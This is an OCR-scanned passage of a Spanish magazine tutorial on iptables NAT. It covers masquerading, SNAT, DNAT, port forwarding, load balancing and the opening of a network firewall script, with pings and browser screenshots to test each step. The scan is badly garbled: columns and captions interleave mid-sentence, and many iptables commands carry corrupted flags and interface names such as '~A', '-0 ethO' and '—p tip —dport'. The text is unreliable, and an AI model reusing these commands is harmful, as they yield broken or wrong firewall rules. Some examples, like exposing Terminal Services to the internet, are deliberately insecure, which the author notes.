13.239.59.184 con 32 bytes de datos:

otado para e

ara 213.239.59.164:
= 4, recibidos = @, perdidos = 4

Pantalla 14. Prueba
de conectividad entre
el cliente e Infermet.
Fallda....
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Bufff, seguimos igual.... équé
ocurrira?

Vamos a poner a escuchar un esnifer en
el cortafuegos, por la interface ethO, que

es la “externa”.... escuchemos....

Pantalla 15. Captura
de paquetes por el
esnifer en eth0

En ese recuadrito rojo hay "algo”
especial....

Resulta que el switch al que esta conectado
el router y una de las tarjetas del
cortafuegos ha interpretado
equivocadamente que la IP que
quiere conectarse es la 172.28.0.50
en lugar de la 192.168.0.50... esto se
debe a que el switch que estoy usando
no es “muy bueno”, casi tendria que
decir que es una birria... pero no son
esos todos nuestros problemas...
aunque el switch fuese "bueno”
tendriamos el VERDADERO
PROBLEMA.

Recordaras que en su momento, en el
escenario expuesto, dijimos que SOLO la
IP 172.28.0.254 puede comunicarse con
el router, y aunque este switch no truncase
la IP, no tendriamos acceso al router...
puesto que la IP que intenta acceder a
google, no es la permitida, es decir, el
router “ve” que le llega una peticién con
origen IP 192.168.0.50, y lo primero que
“piensa” es:

"Menudo cacao, resulta que yo
formo parte de Ila red
172.28.0.0/16 y me llega un
paquete de un PC que no pertenece
a ese rango.... pues lo descarto....”

O también puede actuar asi:

"Rayos.... la IP 192.168.0.50
quiere llegar a google, jajajaja, no
puedes majete... porque soy

PC PASO A PASO N° 24



esclavo de la IP 172.28.0.254 y
obedezco dérdenes de ella y nada
mas que de ella... descartado...”

éComo solucionar esto?

Pues hay varias formas, voy a expresarlo
en palabras y luego en la orden adecuada
de IPTables.

Lo que hay que hacer, lo que hay que
explicar al cortafuegos es: "que
cuando cualquier paquete cuyo
origen sea la IP 192.168.0.50 (o de
toda la red si asi lo queremos) y
atraviese el cortafuegos con destino
a otras redes, debe cambiar esa IP
por la permitida, es decir, que
traduzca las direcciones IP del rango
de red 192.168.0.0/24 como una
UNICA IP 172.28.0.254"”

Sefiores, acabamos de descubrir lo que
puede llegar a significar NAT.

Desgraciadamente NAT puede
implementarse de muchas formas vy

maneras, como SNAT, DNAT,
enmascaramiento, reenvio de
puertos, redirecciéon, NAT

transparente, equilibrio de carga y
alguno mas que seguro que me dejo por
el camino.

De ello nos ocuparemos en las préximas
secciones, antes... vamos a resolver
nuestro pequefio entuerto.

Voy a elegir el enmascaramiento, luego
lo entenderas mejor ahora lo que importa
es que se resuelva nuestro misterio....

El enmascaramiento es una forma
simplificada de SNAT en la que los
paquetes que viajan reciben la
direccion IP de la interfaz de salida
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como direccion origen, es decir: cuando
el router de nuestro escenario reciba el
paquete “/o vera” como si se lo hubiese
enviado la IP 172.28.0.254 en lugar de
la verdadera IP 192.168.0.50, sera
IPTables el que se encargue de realizar
esa traduccidon y cuando el router entregue
el resultado, lo hard a la IP 172.28.0.254
y sera de nuevo IPTables quien tenga
que volver a traducir a la verdadera
direccion origen, en el ejemplo, la IP
192.168.0.50

Graficamente esto es asi:
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P St e By
r——

@ 192.168.0.254 i 172.28.0.1
ﬂ 172.28.0.254

192.168.0.50

INTERNET
|

Los paquetes que entran por la interface
192.168.0.254 del servidor LINUX con
destino a Internet, salen traducidos como
si su IP origen fuese la 172.28.0.254.

Los paquetes que regresen de esa misma
conexion seran entregados a la IP
172.28.0.254 del cortafuegos, éste volvera
a traducir la direccion destino apropiada
y sacara el paquete de datos por la IP
192.168.0.254 para que llegue al
verdadero origen de la conexidn.

Para conseguir este logro, tanto el router
como IPTables guardan una tabla NAT
en su memoria y van “anotando” las
diferentes conexiones, puertos, ip’s origen,
destino, etc... para realizar esas
conversiones... esto se explicé en el
articulo 22 del cual puedes conseguir un
extracto en:

http://www.forohxc.com/Docs/fw/ipt/in

trofw.pdf

Figura 3. Traduccion
NAT de fa red
192.268.0.0/24 en
UNA UNICA IP como
172.28.0.254
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hd root@ linux-rh8:~

Bien, pues en nuestro IPTables tenemos
que incluir esta linea de comando:

Archivo Editar  Ver Terminal Ir Ayuda
[root@linux-rh8 root]# iptables -t nat -A POSTROUTING -o eth0 -s 192.168.0.0/24 -j MASQUERADE @

Cédigo 3.
Enmascaramiento
NAT de origen

Pantalla 16. Prueba
de conectividad entre
el cliente e Internet
con éxito.

Le acabamos de explicar a IPTables que
todo aquello cuyo origen (-s) sea la red
192.168.0.0/24 (nuestra LAN) cuando
se coloque en la interfaz ethO (es decir
en 172.28.0.254) se enmascare (-j
MASQUERADE) con dicha ip, eso si, lo
hara DESPUES de reenviarla a la interfaz
eth0 (POSTROUTING). Si lo hiciese
antes (PREROUTING), ademas de recibir
un bonito error en este caso concreto,
no funcionaria.

De hecho, no se puede usar
PREROUTING con SNAT y/o con
MASQUERADE, si usamos estas “formas”
de NAT tendremos que usar
POSTROUTING

Como estaras imaginando, lo contrario
ocurre con DNAT, con el que tendremos
que usar PREROUTING en lugar de
POSTROUTING, “dentro de unas pocas
lineas” lo veremos mejor y con mas
detalle, pero vamos a ver si después de
afladir esta entrada ya tenemos acceso
a Internet desde el equipo de la LAN
pasando por IPTables.

encontrarnos ante una mdquina u otra... normalmente
el “mads cercano” a nuestra IP (o bien porque se efectiia
un balanceo de carga entre las varias mdquinas que

sirven el buscador de google).

Reenvio y enmascaramiento de
Red Origen

Nuestro primer ejemplo es muy simple,
no tiene seguridad alguna, de hecho los
paquetes de datos entran y salen del
cortafuegos “como Pedro por su casa’,
se acepta todo, se permite todo, pero
estamos empezando... terminaremos con
el reenvio para pasar a NAT “en serio”

Antes usamos reglas de reenvio de este
modo:

./NOIPT

iptables —-P FORWARD ACCEPT
iptables ~A FORWARD -1I eth0 —o eth1 —j ACCEPT
iptables -A FORWARD -I eth1 —o eth0 -j ACCEPT

Lo primero que hay que resaltar es que
hubiese sido mas adecuado comenzar
por:

iptables -P FORWARD DROP

e C:AWINDOWS\System32\cmd.exe

C:\Documents and Settings\Uictor>ping www.google.es

Haciendo ping a www.google.akadns.net [66.102.11.

de 66.182.11.99:

os = 4, perdidos

a en milisegundos:
. Maximo = 183ms. Media = 175ms

Para hacer algo mas restrictivo el reenvio
de paquetes, pero también podriamos
haber “limitado” los host entre los que el
cortafuegos debe reenviar los paquetes,
por ejemplo:

Cddigo 4. Reenvioy
Enmascaramiento
NAT de origen

# Como veras...

Como veras “ahora” la IP de google no es la misma que
antes... esto no tiene que ver con IPTables, es una
caracteristica especial de este buscador, que dependiendo
de la IP, la zona e incluso el momento, podemos
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./NOIPT

iptables -P INPUT ACCEPT
iptables -P OUTPUT ACCEPT
iptables -P FORWARD DROP

iptables -A FORWARD -i ethO -o ethl -s 172.28.0.1 -d 192.168.0.50 -j

ACCEPT

iptables -A FORWARD -i ethl -o ethO -s 192.168.0.50 -d 172.28.0.1 -j

ACCEPT

iptables -A FORWARD -j LOG --log-prefix “"Reenvio descartado”

Con estas lineas del cdédigo 4,
conseguiremos que sdélo el equipo
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192.168.0.50 (o los que se incluyan
detras de la opcién =-s) puedan
comunicarse con el equipo 172.28.0.1

Ahora, en el listado del cédigo 5, todos
los equipos de la red 192.168.0.0 pueden
reenviar paquetes a los equipos de la
red 172.28.0.0 y viceversa; pero solo la
maquina 192.168.0.50 tendra
comunicacion con Internet, puesto que
es la Unica que en la que se establece el
enmascaramiento IP para que se pueda
comunicar con el router.

./NOIPT

iptables -P INPUT ACCEPT

iptables -P OUTPUT ACCEPT

iptables -P FORWARD DROP

iptables -A FORWARD -i ethO -o ethl -j ACCEPT

iptables -A FORWARD -i eth1 -0 ethO -j ACCEPT

iptables -A FORWARD -j LOG --log-prefix "Reenvio descartado”
iptables -t nat -A POSTROUTING -o ethO -s 192.168.0.50 -j MASQUERADE

Cadigo 5. Reenvio y . o~
Enmascaramiento Sin embargo hay un pequeno problema:

NAT de origenpara un el trafico entre ambas interfaces se
Loicojd acepta. Eso puede suponer un riesgo de

cara a las conexiones que vienen de
Internet y que pretenden acceder a la
red 192.168.0.0, podrian “meterse” hasta
el fondo... podemos solucionarlo de
muchas formas, pero como estamos con
el reenvio, se puede hacer algo asi:

./NOIPT

iptables -P INPUT ACCEPT

iptables -P OUTPUT ACCEPT

iptables -P FORWARD DROP

iptables -A FORWARD -i ethO -o eth1l -m state --state RELATED,
ESTABLISHED -j ACCEPT

iptables -A FORWARD -i ethl1 -o ethO -j ACCEPT

iptables -A FORWARD -j LOG --log-prefix "Reenvio descartado”
iptables -t nat -A POSTROUTING -o ethO -s 192.168.0.50 -j MASQUERADE

Cddigo 6. Reenvioy
Enmascaramiento Con el cédigo 6 hemos conseguido que

cg’ﬂ‘:;f;e"cc‘)gn‘zz;‘;”% sélo las maquinas de la red
o 192.168.0.0/24 (eth1) tienen permiso
para iniciar conexiones y por consiguiente

al reenvio. Aquellos intentos de conexion

y reenvio que no tengan como IP origen

alguna de la red eth1 (192.168.0.0/24)
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seran descartados y registrados, siendo
ademas el host 192.168.0.50 el unico
que podra comunicarse a Internet por el
enmascaramiento en origen.

Traduccion de direcciones de
red NAT

El uso de NAT permite a un cortafuegos
modificar las direcciones IP origen y/o
destino de los paquetes asi como los
puertos que usan las comunicaciones.

Principalmente encontramos dos tipos
de NAT:

P Traduccion de direcciones de red de
origen: SNAT

P Traduccion de direcciones de red en
destino: DNAT

Ante IPTables hay que recordar unas
cuestiones muy simples pero
IMPORTANTES:

P _DNAT se efectia en la cadena
PREROUTING

P SNAT en la cadena POSTROUTING
b Al modificar un paquete en el
origen (SNAT), las cadenas INPUT,
FORWARD y OUTPUT ven la
direccion de origen sin modificar
P Si modificamos un paquete en
destino (DNAT), son las cadenas
FORWARD e INPUT las que ven la
direccion modificada.

Estas tres reglas son sencillas y es
muy, muy importante que no las
olvides, porque si lo haces puedes
llegar a hacerte “e/ /io padre” entre
unas y otras... ahora vamos a hablar “en
general” de cada uno de estos tipos de
NAT, con ejemplos y con las explicaciones
necesarias.
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Traduccion de direcciones de
red destino. DNAT

Este tipo de traduccion puede cumplir
tres objetivos:

P Envio en representacion
transparente. Como si fuese un proxy
transparente.

P Reenvio a puertos, PAT

b Equilibrio de carga en la red.

DNAT como envio transparente.

Permite a los clientes solicitar servicios
o0 peticiones de datos usando una
direccion IP “prestada”, por eso decia
antes que se comportaba como si fuese
un proxy.

Sin embargo, no confundas DNAT como
una regla para que los clientes de “tu
red” accedan a redes externas... es
“parecido” pero no exactamente eso...
DNAT lo usaremos para ofrecer
"nuestros” servicios a redes
externas, por ejemplo:

Ya... pero qué servicios? Pues tal y
como lo hemos configurado.... TODOS!!!!
Es decir, la maquina 192.168.0.50 esta
“vendida"” a merced de lo robusto que sea
su sistema operativo o de un posible
cortafuegos de host en esa maquina....

Por ejemplo.... suponiendo que la IP
publica sea 213.0.215.172 y que la
maquina 192.168.0.50 tuviese
habilitados los servicios de terminal
server, telnet y web, podremos
acceder a ellos sin mas...

./NOIPT

iptables -P INPUT ACCEPT

iptables -P OUTPUT ACCEPT

iptables -P FORWARD DROP

iptables -A FORWARD -i ethO -o eth1l -j ACCEPT

iptables -A FORWARD -i eth1 -o ethO -j ACCEPT

iptables -A FORWARD -j LOG --log-prefix "Reenvio descartado”

iptables -t nat -A POSTROUTING -o ethO -s 192.168.0.0/24 -j MASQUERADE
iptables -t nat -A PREROUTING -i eth0-d 172.28.0.254 -j DNAT —to-destination 192.168.0.50

=] 213.0.215.172 - Cliente de Terminal Server

Iniciar sesion en Windows
Microsoft
Copyright @ 1985-1399

M‘mﬁ Microsoft Corporation

Advanced Server

Basado en tecnologia NT

Nombre de
usuario: | administrador

Contrasefia: |

Aceptar I Cancelar Apagar.., Opciones <<

>

Codigo 7. Reenvioy La ultima regla permite que clientes
Enmascaramiento t fectl . |
AT en Gostino con externos erectuen conexiones con la
enmascaramiento en maquina 192.168.0.50 a través de la
o interfaz 172.28.0.254, como a su vez

esta interfaz estd conectada al router,
los clientes de Internet podran pasar por
nuestro firewall hacia la maquina
192.168.0.50, la cual ofrecera los
servicios seleccionados.
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Como es légico esto no ofrece seguridad
alguna, es como abrir el melén para que
todo el que quiera un pedacito, se conecte
y acceda al servidor.... pero bueno, es un
modo de redirigir las peticiones externas
a uno o varios host de la red interna...

Al menos, vamos a restringir el acceso
desde el exterior, sélo para que se pueda
acceder al servidor web....

Pantalla 17. Acceso
por Terminal Services
desde Inferet a un
host interno gracias a
DNAT

./NOIPT
iptables -P INPUT ACCEPT
iptables -P OUTPUT ACCEPT

iptables -P FORWARD DROP
iptables -A FORWARD -i ethO -o ethl -j ACCEPT
iptables -A FORWARD -i eth1 -o ethO -j ACCEPT
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iptables -A FORWARD -j LOG --log-prefix “"Reenvio descartado”
iptables -t nat -A POSTROUTING -o ethO -s 192.168.0.0/24 -j MASQUERADE
iptables -t nat -A PREROUTING -i ethO —p tcp —dport 80 —-d
172.28.0.254 -j DNAT --to-destination 192.168.0.50:80

Cddigo 8. Reenvio,

Enmascaramiento y

DNAT para un solo
host

Ahora, desde el “exterior” sélo se podra
acceder a la maquina 192.168.0.50
mediante el puerto 80. Te advierto que

seguimos “sin seguridad”, observa que
las politicas por defecto es aceptar todos
los paquetes entrantes, los salientes y
en la cadena FORWARD aceptamos
cualquier paquete de datos para el
reenvio... pero.... vamos avanzando que
es lo que importa...

Si intentamos acceder a los servicios de
Terminal Services ahora no podremos...

i

El cliente no se puede conectar con servidor Terminal
Server. Este debe estar muy ocupado. Intente
conectarse mas tarde.

=] Cliente de Terminal Server desconectado

Q

Pantalla 18. Acceso
por Terminal Services
1o permitico por
DNAT

Ni a cualquier otro servicio excepto el
que ofrece este servidor por su puerto 80.

CE®

»

; http://213.0.215.17 2findex. html - Microsoft Internet Ex...
Ayuda

frchivo  Edicién Favoritos

@ swts - XN R

o5 48 Hotmail gratuito 48] Personalizar vinculos 48] Windows

Wer Herramientas

) Busqueda ~ Favoritos

»

v .Ir

ién | @) hetp:)213.0.215.172findex. html

A~

Hola, Bienvenido

a la traduccion de direcciones

con DNAT
&] Listo

® Internet

./NOIPT

iptables -P INPUT ACCEPT

iptables -P OUTPUT ACCEPT

iptables -P FORWARD DROP

iptables -A FORWARD -i ethO -o ethl -j ACCEPT
iptables -A FORWARD -i eth1 -o ethO -j ACCEPT
iptables -A FORWARD -j LOG --log-prefix “"Reenvio
descartado”

iptables -t nat -A POSTROUTING -o ethO -s 192.168.0.0/24
-j MASQUERADE

iptables -t nat -A PREROUTING -i ethO -p tcp -dport 80 -d
172.28.0.254 -j DNAT --to-destination 192.168.0.50:9000

Cddigo 9. Reenvio,

Con la modificacion de la dltima linea, los
Enmascaramiento, DNAT

clientes externos pueden acceder al
servidor web que reside en 192.168.0.50
por el puerto 80, sin embargo, dicho

para un solo host con
reenvio de puertos en
destino

server debera estar escuchando por el
puerto 9000. De hecho los clientes
internos, los que pertenecen a su misma
red, lo deberan hacer por ese puerto...
observa:

Acceso al server desde Internet....

’; http://213.0.215.172findex. html - Microsoft Internet Ex...
Ayuda

Pantalla 20. Acceso WEB
desae Internet a un host
inferno gracias a DNAT

. frchivo Edicibn Yer Favoritos Herramientas

@ms Q- HRG P

s #] Hotmail gratuito

Busqueda
con reenvio de puertos
Personalizar vinculos @] Windows

v B3I

-~

ttp:f213.0.215.172findex.html

Hola, Bienvenido

a la traduccion de direcciones

con DNAT
&

® Internet

Acceso al server desde la LAN por el
puerto 9000 (observa que la barra de
direccion se especifico el puerto)

'VPahraﬂa 21, Acceso WEB

’a http://192.168.0.50:9000findex. html - Microsoft Interne...

Archivo  Edicion Yer Favoritos Herramientas Ayuda desde fa LAN
@ Atrds - @ . P Busqueda ¢ Favoritos
= 4] Hotmail gratuito Personalizar vinculos @] Windows =

b Ir

http:/f192. 168.0.50: 2000 findex. htrl

Pantalla 19. Acceso

IEB desde Interet a

un host intemo gracias
a DNAT

Reenvio de puertos

Con el mismo ejemplo anterior podemos

hacer “algun cambio”, ver el cédigo 9:
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/2 No se puede encontrar el servidor - Microsoft Internet Ex... [;]

Favoritos Herramientas Ayuda uj,'

) (&

] Personalizar vinculos 48] Windows 2

i Archivo

@Atrés -

: Vinculos ,’Q Hotmail gratuiko

: Direccién

Edicion  Wer

http:/{192.168.0.50findex.htmi

Mientras que si intentamos acceder por
la red interna al puerto 80, no
conectaremos con el servidor....

»

A P Blsqueda © Favoritos

V_E)Ir

m Mo se puede mostrar la pagina

La pdgina Web solicitada no esta disponible en este momento.
Puede que el sitio Web tenga problemas técnicos o que necesite
ajustar la configuracién de su explorador.

&) Listo

L)

® Internet

Pantalla 22. Acceso WEB
desde LAN. Fallido...
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iptables -A FORWARD -i eth1 -o ethO -j ACCEPT

iptables -A FORWARD -j LOG --log-prefix “Reenvio descartado”

iptables -t nat -A POSTROUTING -0 ethO -s 192.168.0.0/24 -j MASQUERADE

iptables -t nat -A PREROUTING -i ethO —p tip —dport 80 —d 172.28.0.254 -j DNAT —to-destination 192.168.0.50:80
iptables -t nat -A PREROUTING -i ethO —p tp —dport 3389 —d 172.28.0.254 -j DNAT —to-destination 192.168.0.50:3389
iptables -t nat -A PREROUTING -i ethO —p top —dport 21 —d 172.28.0.254 -j DNAT —to-destination 192.168.0.100:21
iptables -t nat -A PREROUTING - ethO —p top —dport 44551 —d 172.28.0.254 -j DNAT —to-destination 192.168.0.9:44551
iptables -t nat -A PREROUTING - ethO —p top —dport 25 —d 172.28.0.254 -j DNAT —to-destination 192.168.0.33:25
iptables -t nat -A PREROUTING - ethO —p top —dport 110 —d 172.28.0.254 -j DNAT —to-destination 192.168.0.33:110

Recuerda que solo los protocolos TCP y
UDP tienen puertos origen y destino, no
puedes redirigir puertos a otros protocolos
gue no subyacen en los anteriores como
ICMP (protocolo ampliamente tratado en
otro articulo del nUmero 23 de la revista).

Tanto si utilizamos la redireccion de
puertos como si no, podemos incluir
tantas reglas DNAT como sean necesarias
para que los clientes externos o internos
accedan a nuestros servicios. Por ejemplo,
imagina una red con varios servidores,
asi:

Web: 192.168.0.50

Terminal services: 192.168.0.50
FTP: 192.168.0.100

Control remoto de la maquina de
produccion: 192.168.0.9, puerto
44551

Correo saliente: 192.168.0.33
Correo entrante: 192.168.0.33

Cédigo 10. Reenvio,
Enmascaramiento, DNAT

Equilibrio de carga

para milltiples host

internos

El conjunto de reglas y cadenas anteriores

nos dan una idea de lo que una red puede
ser....

Imaginemos que nuestra empresa tiene
un alto nimero de visitas web, o bien,
ofrecemos un determinado tipo de
servicios que exigen al servidor una carga
de trabajo extra... o simplemente
queremos ofrecer “redundancia” varios
servidores disponibles para nuestros
clientes.....

Para estos casos, IPTables permite
especificar mas de una direccién IP en
una regla DNAT. Cuando un cliente solicita
el servicio, IPTables elige uno de los
destinos indicados, cada maquina del
colectivo de IP’s especificadas recibe una
fraccion del trafico, equilibrando la carga
del trabajo en la granja o conjunto de
servidores, ver cédigo 11

./NOIPT

iptables -P INPUT ACCEPT

iptables -P OUTPUT ACCEPT

iptables -P FORWARD DROP

iptables -A FORWARD -i ethO -0 ethl -j ACCEPT

iptables -A FORWARD -i ethl -0 ethO -j ACCEPT

iptables -A FORWARD -j LOG --log-prefix “Reenvio descartado”

iptables -t nat -A POSTROUTING -0 ethO -s 192.168.0.0/24 -j MASQUERADE
iptables -t nat -A PREROUTING -i ethO -p tcp -d 172.28.0.254 -j DNAT --to-
destination 192.168.0.50-192.168.0.55

./NOIPT

iptables -P INPUT ACCEPT

iptables -P OUTPUT ACCEPT

iptables -P FORWARD DROP

iptables -A FORWARD -i eth0 -o ethl -j ACCEPT

En el ejemplo anterior, los servicios
solicitados por clientes externos se
“repartiran” entre los servidores
192.168.0.50 .51-.52-.53-.54 y .55
equilibrando el trabajo entre ellos.

Cadligo 11. Reenvio,
Enmascaramiento, DNAT
con balanceo o
equilibrado de carga
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Traduccion de direcciones de

Traduccion de direcciones de

red con Redireccion. NAT

red de origen. SNAT

REDIRECT

Es una forma especial de NAT en la que
las solicitudes enviadas a una maquina
las maneja el propio cortafuegos (es
decir, el propio cortafuegos proporciona
el servicio), sin embargo los clientes
“piensan” que es la maquina servidor el
que se lo proporciona.

También se puede usar NAT REDIRECT
con reenvio a puertos como lo hicimos
antes y utilizar los determinantes -s y
--dport para seleccionar los destinos y
los puertos.

Por ejemplo:

iptables -t nat -A PREROUTING -i ethO -d 172.28.0.99 --dport 80 -j REDIRECT

Cuando un cliente accede por el Puerto
80 a la maquina 172.28.0.99 deberia ser
proporcionado ese servicio por la
maquina, sin embargo el cortafuegos
intercepta el paquete y aplica DNAT para
gue contengan su propia direccion, de
tal forma que el servicio se ejecuta en el
cortafuegos y responde al cliente.

Ni tan siquiera tiene que existir la
direccion, el cliente no lo sabra, el
cortafuegos esta preparado para ser capaz
de llegar a la ruta y es él quien responde.

Esto es util a veces para simular servicios

SNAT es lo "opuesto” a DNAT, mientras
que DNAT modifica las direcciones y
puertos destino de los paquetes,
SNAT lo hace con el origen de los
mismos.

SNAT lo podemos usar para:

P Comunicar las maquinas internas
que no disponen de enrutamiento con
otras redes o con Internet.

P Permitir que varios hosts (o todos)
compartan una misma direccion IP
P Ocultar la verdadera IP de una
maquina

b Para resolver algunos problemas que
pueden surgir con su opuesto DNAT

Recuerda que DNAT usaba la cadena
PREROUTING y como SNAT es lo contrario,
usara la cadena POSTROUTING

También, cuando hemos visto DNAT, se
usaba -i seguido del nombre de la interfaz,
ahora cuando queramos usar SNAT lo
haremos con -o y nombre de la interfaz

Al igual que DNAT podia modificar puertos
y direcciones en destino (-d, --dport y -
-to-destination) SNAT puede hacer lo
propio pero con el origen, esto es,
-s, --sport --to-source.

o puertos, pero hay que guardar cuidado
si se implementan los servicios “de
verdad” en el cortafuegos, ten en cuenta
gue ejecutar servicios publicos en un
firewall es exponerlo a ser
comprometido.

Lo mas habitual es que la redireccién de
usa para que accedan “maquinas de
confianza” o locales, no le daremos mas
cuerda a la redireccidon, pasemos a SNAT.

Como ves... justamente lo contrario, si
DNAT se ocupaba de los accesos de
clientes externos a servicios internos,
SNAT se ocupara:
b de la comunicacidon de clientes
internos a servicios externos
P de traducir en origen en lugar de en
destino....
Vamos, que si entendimos bien DNAT,
comprender SNAT sera coser y cantar,
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por ello me “esmeré” quizds en demasia
con DNAT. Ahora no seré tan profuso,
puesto que con aplicar la “légica inversa”
tendremos que entenderlo correctamente.

Asi que voy a poner unos cuantos
ejemplos y nos liquidamos SNAT en un
periquete...

iptables -t nat -A POSTROUTING -o ethO -s 192.168.0.0/24 -j SNAT
--to-source 172.28.0.254

El enmascaramiento es la imagen
reflejada de la redireccion, recuerda
lo que dijimos de ello, la Gnica diferencia
entre SNAT y MASQUERADE es que
con el enmascaramiento la direccion
origen sustituta es la propia IP del
cortafuegos, mientras que con SNAT
podemos elegir...

Ya hemos usado bastante la opcion de
MASQUERADE, sélo algunos apuntes mas:

Esta regla proporciona SNAT para toda
la red interna (192.168.0.0/24)
traduciendo la direccion origen en
172.28.0.254, que sera la que vean los
host con los que se comunica.

iptables -t nat -A POSTROUTING -o eth0 -s 192.168.0.0/24 -j

MASQUERADE

iptables -t nat -A POSTROUTING -0 ethO -s 192.168.0.50 -j

MASQUERADE

iptables -t nat -A POSTROUTING -0 ethO -s 192.168.0.0/24 -j

MASQUERADE --to-ports 40000:65535

iptables -t nat -A POSTROUTING -o eth0 -s 192.168.0.50 -j SNAT
--to-source 172.28.0.254

Lo mismo que la anterior, pero sdlo para
la maquina 192.168.0.50 y no para toda
la red... sélo esa IP sera traducida en
origen, el resto “saldra con su propia
direccion”

El mayor problema que nos podemos
encontrar con esto, es que si el trafico
en nuestra red es muy alto, es probable
que los puertos disponibles se agoten...
para eso podemos usar esto:

iptables -t nat -A POSTROUTING -0 ethO -s 192.168.0.0/24 -j SNAT
--to-source 172.28.0.200-172.28.0.254

De ese modo tenemos multiples
direcciones SNAT.

También podemos especificar
explicitamente los puertos de origen que
se van a utilizar por SNAT, de este modo:

iptables -t nat ~A POSTROUTING -0 ethO -s 192.168.0.0/24 -j
SNAT -to-source 172.28.0.254:32768-65535

Ya hablamos antes del enmascaramiento,
dije que era una forma “simplificada” de
SNAT. Es muy util cuando se usan
servidores DHCP y/o conexiones
telefonicas por parte de los clientes.
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Estas tres reglas, ni te las comento...
debes, puedes, eres CAPAZ de
descubrir lo que hacen... o0 no?

Otro de los usos “imprescindibles” de
SNAT es cuando proporcionamos acceso
externo a un servidor interno como
hicimos antes con DNAT.

Si hacemos DNAT pero no hacemos
SNAT, los clientes externos llegaran al
servidor... pero éste no podra entregar
la respuesta a menos que goce de
enrutamiento con SNAT, por eso en los
scripts anteriores con DNAT siempre inclui
el enmascaramiento.

Hay otra forma, lo que se llama un DNS
Split Horizon, DNS de horizonte
dividido, que en resumen consiste en
disponer de un servidor DNS para host
externos y otro para host internos.

Pero es mas sencillo como lo hemos
solventado en ocasiones anteriores, es
decir, combinando SNAT y DNAT, de tal
forma que cuando el cortafuegos recibe
una respuesta del servidor, invierte DNAT
y SNAT vy reenvia la respuesta al cliente.
No deberias tener problemas con esto, lo
hemos utilizado en cada script de los
ejemplos DNAT
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Recuerda, que no sélo ha de entrar o
salir un paquete de datos, también debe
traducirse las respuestas de lo servidores
si usamos DNAT
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Bien, pues hemos terminado... sélo nos
falta aplicar todo lo aprendido y hacer
algo similar a lo que se hizo en el articulo
anterior: crearnos un script que podamos
modificar y adaptar a cualquier red. Pero
esta vez ha de tratarse de un script que
proteja a toda una red, no solo a un host
como se hizo en la revista anterior, debe
ser....

Un cortafuegos de red!!!!

La filosofia es la misma que la del
script del articulo anterior, realmente
muchas secciones de este nuevo
cortafuegos es una copia “literal” o
modificada del anterior, sélo que éste
implementa NAT en origen y en destino
para poder ofrecer esos servicios y/o
disfrutar de ellos.

3

# http://www.hackxcrack.com/phpBB2/index.php
#

# Software Libre, puedes modificarlo y/o distribuirlo
# bajo los términos de la Licencia GNU publicada

# por: Free Software Fundation, www.gnu.com

#
HHUBHBHHB BB R BERBERBBERBHR BB BHERS
# VARIABLES DEL CORTAFUEGOS
HUBHHHBBHBRBB BB BB HHBRBBH BB HHHRY
#

# Modifica los valores para ajustar tu configuracion
#

# Datos del cortafuegos

NICEXTERNAFW="eth0"
IPEXTERNAFW="172.28.0.254"
NICINTERNAFW="eth1"
IPINTERNAFW="192.168.0.254"

#

# REDES INTERNAS-INTERNAS (RED Y BROADCAST)
#

DIRREDEXTERNA="172.28.0.0"
DIRDIFUSIONEXTERNA="172.28.255.255"
DIRREDINTERNA="192.168.0.0"
DIRDIFUSIONINTERNA="192.168.0.255"

#

# DIRECCION IP DEL ROUTER QUE CONECTA A

# INTERNET

#

IPINTERNAROUTER="172.28.0.1"
IPEXTERNAROUTER="213.0.211.144"

Por esto ultimo, muchas lineas del
codigo que viene a continuacion no
se comentaran, ya lo fueron en su
momento.... te tocara pedir Ia revista
anterior... bueno.... no exactamente...
pasate por los foros de hackxcrack
y encontrards ayuda y seguro que
algun link

Parte I. C6digo IPTFWRED-HxC

HHUBRHHHAHBRHHHHRHHHHRRHHAHB RS HHHRH
# Cortafuegos IPTFWRED-HxC

#

# Firewall de red protegida y reglas de acceso al

# firewall

# Reglas restrictivas de E/S, validacion y anti-flood
#

#

# Derechos Reservados (c) Vic_Thor 2004 Foros

# HackxCrack

Esta parte del cdédigo es simple de
comprender, se trata de la definicion de
nuestras primeras variables, las que
corresponden a las diferentes interfaces
del cortafuegos, direcciones IP, red,
difusion y las del router LAN/WAN.... no
hay mas comentarios

Parte II. Codigo IPTFWRED-
HxC

#

# IPS O REDES QUE TIENEN CONTROL TOTAL AL
# CORTAFUEGOS Y A SUS SERVICIOS MEDIANTE
# TCP/UDP

#

#

# Listado de IPs PARA SERVICIOS ENTRANTES

#

# IPS QUE PUEDEN HACER PING. ANADE LA LISTA
# DE IPS O REDES A LAS QUE SE PERMITE

IPADMIN="172.28.0.254 192.168.0.50 192.168.0.254 $IPINTERNAROUTER"
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# USAR EL PROTOCOLO ICMP POR EJEMPLO:

# 172.28.0.0/16 11.11.11.11 6 0.0.0.0.0/0

# PARA TODOS

#

PINGSALIDA="0.0.0.0/0 192.168.0.0/24 172.28.0.0/16"
PINGENTRADA="0.0.0.0/0 192.168.0.0/24 172.28.0.0/16"
#

# IPS O REDES QUE PUEDEN ACCEDER MEDIANTE
# EL PUERTO SSH (22) 0.0.0.0/0 PARA TODAS
#

SSH="0.0.0.0/0"

#

# IP'S DE SERVIDORES INTERNOS DE LA LAN

# PROTEGIDA

#

IPWWW="192.168.0.50"

IPDNS=""

IPPOP3=""

IPSMTP=""

IPFTP=""

IPTS="192.168.0.50"

Continuamos con mas variables y sus
correspondientes valores. En esta ocasion
les toca a las direcciones IP o redes que
podran “hacer ping” desde dentro o desde
fuera, las conexiones “seguras” (SSH) y
las IP’s de las maquinas o servidores
internos de nuestra LAN al que podran
acceder desde Internet cuando
configuremos DNAT.

Parte III. Codigo IPTFWRED-

HxC
#
# CONTROL DE FLOOD
#

CONTROLSYN="-m limit --limit 5/second --limit-burst 10"
OPCIONREG="--log-level=3 -m limit --limit 1/second --limit-burst 10"

# IP'S EXCLUIDAS RFC 1918 E IANA

#

IPEXCLUIDAS=""

#

# NO SE INCLUYE EN LA LISTA DE IP'S EXCLUIDAS
# EL RANGO 172.28.0.0/16 AL TRATARSE DE

# RANGO DE RED AL QUE PERTENECE EL

# CORTAFUEGOS, SI TU RED ES OTRA, DEBERAS

# ELIMINAR DE LA LISTA ANTERIOR LA QUE TE

# CORRESPONDA Y ANADIR LA 172.28.0.0/16

#

# DIRECCION DE IP-LOOPBACK
#

LOOPBACK="127.0.0.1"

#

Como en el script del articulo anterior,
definimos las opciones que permitiran
registrar las inundaciones syn (flood), las
IP’s que seran excluidas o que no seran
permitidas para acceder tanto al
cortafuegos como a la red protegida y la
direccion de loopback.

Observa que el valor de IP’s excluidas
esta vacio, puedes incluir todas aquellas
